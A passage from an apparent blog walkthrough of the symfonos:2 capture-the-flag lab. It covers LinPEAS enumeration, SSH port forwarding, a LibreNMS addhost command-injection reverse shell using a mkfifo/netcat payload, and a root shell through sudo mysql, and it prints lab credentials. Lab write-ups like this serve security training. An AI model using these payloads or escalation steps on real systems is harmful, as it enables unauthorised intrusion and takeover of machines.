To proceed, we need to gather more information about the system and potential vulnerabilities. For this purpose, we can use LinPEAS, a powerful script designed to automate the discovery of privilege escalation vectors. 


Enumerate using LinPEAS

Running LinPEAS will help us identify any exploitable weaknesses or misconfigurations that could allow us to gain access to the cronus account or escalate our privileges further.

Below is a step-by-step guide on how to deploy and run LinPEAS to scan the target system for vulnerabilities.

1. We need to download the LinPEAS script from GitHub. The script can be easily obtained from the LinPEAS repository. 

PEASS-ng: Latest Release

Check out the latest release of PEASS-ng, a set of scripts to perform privilege escalation on Windows and Linux systems. This release includes new features and improvements for better performance and usability.

2. Once we have the LinPEAS script on our local machine, the next step is to transfer it to the target system. 

  • This can be done by setting up a simple HTTP server on our local machine to serve the script to the target system. 
  • In the directory where   linpeas.sh   is located, run  python3 -m http.server   command to start an HTTP server on port 8000. 

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

This will make the LinPEAS script accessible to the target system via HTTP on port 8000.

3. Now, on the target system shell, navigate to the /tmp directory. Use the wget command to download the LinPEAS script from our local server.

aeolus@symfonos2:~$ cd /tmp                                                                                                                               
aeolus@symfonos2:/tmp$ wget http://192.168.103.3:8000/linpeas.sh                                                                                          
--2024-11-15 22:39:45--  http://192.168.103.3:8000/linpeas.sh                                                                                             
Connecting to 192.168.103.3:8000... connected.                                                                                                            
HTTP request sent, awaiting response... 200 OK                                                                                                            
Length: 827739 (808K) [text/x-sh]                                                                                                                         
Saving to: ‘linpeas.sh’                                                                                                                                   
                                                                                                                                                          
linpeas.sh                             100%[==========================================================================>] 808.34K  --.-KB/s    in 0.007s   
                                                                                                                                                          
2024-11-15 22:39:45 (121 MB/s) - ‘linpeas.sh’ saved [827739/827739]                                                                                       
                                                                                                                                                          
aeolus@symfonos2:/tmp$ 

4. After downloading the script, we need to check whether it has the necessary execution permissions. Use the ls command to list the files and directories to verify whether linpeas.sh has execution permissions.

aeolus@symfonos2:/tmp$ ls -al                                                                                                                             
total 848                                                                                                                                                 
drwxrwxrwt  9 root   root     4096 Nov 15 22:39 .                                                                                                         
drwxr-xr-x 22 root   root     4096 Jul 18  2019 ..                                                                                                        
drwxrwxrwt  2 root   root     4096 Nov 15 21:56 .font-unix                                                                                                
drwxrwxrwt  2 root   root     4096 Nov 15 21:56 .ICE-unix                                                                                                 
-rw-r--r--  1 aeolus aeolus 827739 Nov 15 22:38 linpeas.sh                                                                                                
drwx------  3 root   root     4096 Nov 15 21:56 systemd-private-5924722a2458482d8358cb6d00f1c55a-apache2.service-Zdypcu                                   
drwx------  3 root   root     4096 Nov 15 21:56 systemd-private-5924722a2458482d8358cb6d00f1c55a-systemd-timesyncd.service-AZjZo1                         
drwxrwxrwt  2 root   root     4096 Nov 15 21:56 .Test-unix                                                                                                
drwxrwxrwt  2 root   root     4096 Nov 15 21:56 .X11-unix                                                                                                 
drwxrwxrwt  2 root   root     4096 Nov 15 21:56 .XIM-unix                                                                                                 
aeolus@symfonos2:/tmp$ 

5. It does not, so, we will need to modify the permissions. To make linpeas.sh executable, the  chmod  command.

aeolus@symfonos2:/tmp$ chmod +x linpeas.sh 
aeolus@symfonos2:/tmp$ ls -al linpeas.sh 
-rwxr-xr-x 1 aeolus aeolus 827739 Nov 15 22:38 linpeas.sh                                                                                                 
aeolus@symfonos2:/tmp$

6. Now that, we have the script and the correct permissions, we can run LinPEAS to perform a comprehensive scan of the system. 

This script will examine various aspects of the system for potential weaknesses, including:

  • Misconfigurations : Checking for poorly configured files, services, or permissions.
  • Outdated Software : Identifying vulnerable software versions that may have known exploits.
  • Security Weaknesses : Scanning for common security issues that can be exploited to escalate privileges.

Run the script by executing: ./linpeas.sh

Once LinPEAS completes its scan, it's crucial to carefully review the output for potential privilege escalation opportunities. While the output might be extensive, there are key areas that can provide insights into possible weaknesses.

We’ll admit, there’s a lot of output here. But there are a few interesting things:

  • The Kernel Version(4.9.0-9)
  • The other users on the system (Cronos)

Upon further analysis of the LinPEAS report, the active ports section stood out. Here's a snapshot of the open ports on the system.

But the biggest thing that stood out for me is the other ports that are listening.

  • MySQL is running on port 3306, which could indicate the possibility of exploiting MySQL if weak credentials are found or if there's an open connection.
  • The Port 8080 is also open, likely hosting a web service. 

To investigate further, we need to look into the Apache configuration related to port 8080 . 

It's running Apache, and the configuration file librenms.conf   is listed in the LinPEAS output as enabled on port 8080.


Investigating LibreNMS

First, change the directory to /etc/apache2/sites-enabled,  find configuration files.

aeolus@symfonos2:/tmp$ cat /etc/apache2/sites-enabled/librenms.conf
<VirtualHost 127.0.0.1:8080>                                                                                                                              
  DocumentRoot /opt/librenms/html/                                                                                                                        
  ServerName  localhost                                                                                                                                   
                                                                                                                                                          
  AllowEncodedSlashes NoDecode                                                                                                                            
  <Directory "/opt/librenms/html/">                                                                                                                       
    Require all granted                                                                                                                                   
    AllowOverride All                                                                                                                                     
    Options FollowSymLinks MultiViews                                                                                                                     
  </Directory>                                                                                                                                            
</VirtualHost>                                                                                                                                            
aeolus@symfonos2:/tmp$

Here, we find that the site librenms.conf is enabled on the port 8080 . This could potentially lead to further exploitation if the service running on this port is misconfigured or vulnerable.

However, during the Nmap scan, we noticed that port 8080 is not open to external connections. This indicates that the port is either:

  1. Restricted to localhost access: Accessible only from the target machine itself.
  2. Not forwarded externally: Blocked by firewall settings or network configurations.

This is a common scenario when services are intentionally restricted for local use, providing an additional layer of security. 


SSH Tunnelling

To bypass these restrictions and interact with the service on port 8080, we can use SSH port forwarding to create a secure tunnel between our local machine and the target machine.

What Is SSH Port Forwarding?

SSH port forwarding, also known as tunneling , redirects traffic from a local port on your machine to a remote port on the target system. This method allows you to access services that are otherwise inaccessible due to firewall or network restrictions.

Here’s the command to forward port 8080 from the target system (localhost) to our local machine.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected] -L 8080:127.0.0.1:8080

Where, 

  • -L flag tells SSH to forward traffic from localhost:8080 on the attacking machine to 127.0.0.1:8080 on the target machine.

[email protected]'s password: 
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Fri Nov 15 22:34:43 2024 from 192.168.103.3
aeolus@symfonos2:~$ 

After successfully connecting, navigate to http://127.0.0.1:8080 in a web browser to access the web application running on port 8080. This method allows us to interact with the web service on the target machine as if it were hosted locally, even if the port isn’t accessible externally.

Upon accessing the webpage, we find the LibreNMS login page. 

LibreNMS is an open-source network monitoring tool designed for system monitoring tasks such as alerting and performance tracking. 

The login prompt requests a username and password.

Using credentials previously obtained (username: aeolus , password: sergioteamo ), we log into LibreNMS successfully. 

However, while exploring the application, no critical information or additional privileges were immediately evident. 


Exploiting LibreNMS

To identify the potential for vulnerabilities within the application that could be exploited.

┌──(kali㉿kali)-[~]
└─$ searchsploit librenms
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LibreNMS - addhost Command Injection (Metasploit)                                                                       | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit)                                                                      | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution                                                                         | php/webapps/47044.py
LibreNMS 1.46 - 'search' SQL Injection                                                                                  | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection                                                        | multiple/webapps/49246.py
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

After identifying a command injection vulnerability in LibreNMS using searchsploit, we can exploit it to escalate privileges. The vulnerability, specifically related to the addhost functionality allows for remote code execution.

We have two ways to exploit this vulnerability. 

  1. The first method involves manually applying the exploit code within the LibreNMS dashboard to obtain a reverse shell.
  2. The second method uses the Metasploit Framework. 


Gain Reverse Shell

In this instance, we will use the manual method to gain a reverse shell. From the searchsploit results, we discovered an exploit script written in Python. Let’s begin by copying the code to our local environment.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m php/webapps/47044.py
  Exploit: LibreNMS 1.46 - 'addhost' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47044
     Path: /usr/share/exploitdb/exploits/php/webapps/47044.py
    Codes: CVE-2018-20434
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/47044.py
                                                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ 

Now that the script is copied, let’s analyze its functionality to understand how the exploit works.

Upon analyzing I find out that, the script exploits the vulnerability in LibreNMS version 1.46 , allowing authenticated remote code execution. 

  1. It begins by verifying that the user provides the required inputs: the target URL, authentication cookies, the attacker's IP address, and a listening port. 
  2. If the inputs are valid, it prepares a reverse shell payload that uses a named pipe to execute a shell and connect it back to the attacker's machine via Netcat.
  3. The script parses the provided cookies into a usable format and then sends a POST request to the /addhost/ endpoint of the target LibreNMS server. 
  4. This request attempts to create a new device in the application, embedding the reverse shell payload into the " community " field. 
  5. If the server responds indicating that the device was successfully added, the exploit proceeds to the next stage.
  6. The second stage sends a GET request to the /ajax_output.php endpoint with specific parameters, triggering the SNMPwalk functionality. 
  7. When the server processes the SNMPwalk request, it executes the embedded reverse shell payload, connecting back to the attacker's machine.
  8. If the exploit is successful, the attacker gains a reverse shell as the "cronus" user on the target server. 
  9. The script checks for success by verifying the presence of the attacker's IP address in the server's response. 
  10. At this point, the attacker can use the shell for further actions, such as privilege escalation or data extraction. If any step fails, the script provides error messages to guide debugging.

Using the Python exploit script can certainly achieve a reverse shell, but let me show you how to achieve the same result manually without using the script.

First, start by creating a listening port on your attacking machine. Open a terminal and use the command nc -lvnp 4444 to set up the listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

Follow the below step to inject the revere shell code:

1. Navigate to the LibreNMS web interface in your browser. 

2. From the Gear Menu , select the Devices tab .

3. Then, click on " Add Device ," which will bring up a form designed to add a new device to the system for SNMP or ping reachability checks.

In the form, fill in the required fields. 

  • Add a hostname, 
  • Enable SNMP, 
  • Choose the appropriate SNMP version 
  • Set the Port Association Mode as instructed by the Python script (or as per your preference). 

4. The critical part is the Community field, where the reverse shell payload must be injected. For this payload, you can use something like:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> <port> >/tmp/f) #

5. Make sure to enable the Force Add option to bypass ICMP or SNMP checks. Then, click " Add Device ." 

Once completed, a new device entry will appear in the interface.

6. Now, to execute the payload, trigger the SNMP check. This can be done by navigating through the LibreNMS interface to find the Capture functionality, typically under the SNMP tab . 

This action triggers the SNMP walk functionality, which will execute the injected payload.

As soon as the payload runs, you’ll observe a reverse shell connection being established on your machine, as indicated in the terminal running nc . 

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.103.3] from (UNKNOWN) [192.168.103.14] 45302
/bin/sh: 0: can't access tty; job control turned off
$ 

You now have shell access to the target system as the " Cronus " user.


Enumerate the user cronus

Run the id command to verify the user and privileges. 

$ id
uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)
$ 

The output confirms that you are logged in as the " cronus " user, who is part of additional groups like " librenms ." This demonstrates a privilege escalation, providing access beyond the original user account (Aeolus).

To proceed further, we need to escalate privileges to root, as the standard user privileges of " cronus " limit our ability to fully control the system or investigate sensitive files.

First, we check the permissions available to the " cronus " user by running the sudo -l command. 

$ sudo -l
Matching Defaults entries for cronus on symfonos2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
    (root) NOPASSWD: /usr/bin/mysql
$ 

This command lists all the commands the user can execute with elevated privileges. The output reveals that " cronus " can execute the /usr/bin/mysql binary as root without providing a password.

With this information, we search for privilege escalation techniques related to the MySQL binary. 


Sudo MySQL Binary

Using gtfobins.github.io, a repository for binaries that can be exploited for privilege escalation, we search for "MySQL." 

GTFOBins

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. This resource provides detailed information and examples for each binary.


The results show that the mysql binary can execute shell commands via the \! feature when used with sudo .

To exploit this, we run: sudo mysql -e '\! /bin/bash'

Here, 

  • sudo mysql runs the MySQL client as root, and 
  • the -e flag executes the bash shell via the MySQL client. 

$ sudo mysql -e '\! /bin/sh'

This command successfully spawns a root shell. After executing this command, we are now in a root shell. Verify this by running whoami.

whoami
root

Upon execution, it confirms that we are now operating as the root user. However, the shell at this point is not fully interactive. 

To improve usability, we check if Python is installed by running,  which python , which shows Python’s location as /usr/bin/python .

which python
/usr/bin/python

Next, we use Python to spawn a pseudo-terminal with the command: python -c "import pty; pty.spawn('/bin/bash')"

python -c "import pty;pty.spawn('/bin/bash')"
root@symfonos2:/opt/librenms/html#

This provides a more interactive and functional shell environment, making it easier to execute commands and navigate the system.


Retrieve the Flag

With root access established, we navigate to the /root directory and list files and directories.

root@symfonos2:/opt/librenms/html# cd /root
cd /root
root@symfonos2:~# ls -al
ls -al
total 28
drwx------  4 root root 4096 Jul 18  2019 .
drwxr-xr-x 22 root root 4096 Jul 18  2019 ..
lrwxrwxrwx  1 root root    9 Jul 18  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Jul 18  2019 .config
drwxr-xr-x  3 root root 4096 Jul 18  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1444 Jul 18  2019 proof.txt
root@symfonos2:~# 

This directory contains sensitive files, including the root flag, which can now be accessed. 

root@symfonos2:~# cat proof.txt
cat proof.txt

        Congrats on rooting symfonos:2!

           ,   ,
         ,-`{-`/
      ,-~ , \ {-~~-,
    ,~  ,   ,`,-~~-,`,
  ,`   ,   { {      } }                                             }/
 ;     ,--/`\ \    / /                                     }/      /,/
;  ,-./      \ \  { {  (                                  /,;    ,/ ,/
; /   `       } } `, `-`-.___                            / `,  ,/  `,/
 \|         ,`,`    `~.___,---}                         / ,`,,/  ,`,;
  `        { {                                     __  /  ,`/   ,`,;
        /   \ \                                 _,`, `{  `,{   `,`;`
       {     } }       /~\         .-:::-.     (--,   ;\ `,}  `,`;
       \\._./ /      /` , \      ,:::::::::,     `~;   \},/  `,`;     ,-=-
        `-..-`      /. `  .\_   ;:::::::::::;  __,{     `/  `,`;     {
                   / , ~ . ^ `~`\:::::::::::<<~>-,,`,    `-,  ``,_    }
                /~~ . `  . ~  , .`~~\:::::::;    _-~  ;__,        `,-`
       /`\    /~,  . ~ , '  `  ,  .` \::::;`   <<<~```   ``-,,__   ;
      /` .`\ /` .  ^  ,  ~  ,  . ` . ~\~                       \\, `,__
     / ` , ,`\.  ` ~  ,  ^ ,  `  ~ . . ``~~~`,                   `-`--, \
    / , ~ . ~ \ , ` .  ^  `  , . ^   .   , ` .`-,___,---,__            ``
  /` ` . ~ . ` `\ `  ~  ,  .  ,  `  ,  . ~  ^  ,  .  ~  , .`~---,___
/` . `  ,  . ~ , \  `  ~  ,  .  ^  ,  ~  .  `  ,  ~  .  ^  ,  ~  .  `-,

        Contact me via Twitter @zayotic to give feedback!

root@symfonos2:~# 

From this point, further investigation or data retrieval can be performed as needed.

Tags

You may like these posts

Show more

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

If you have any doubts or any queries you can specify here.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!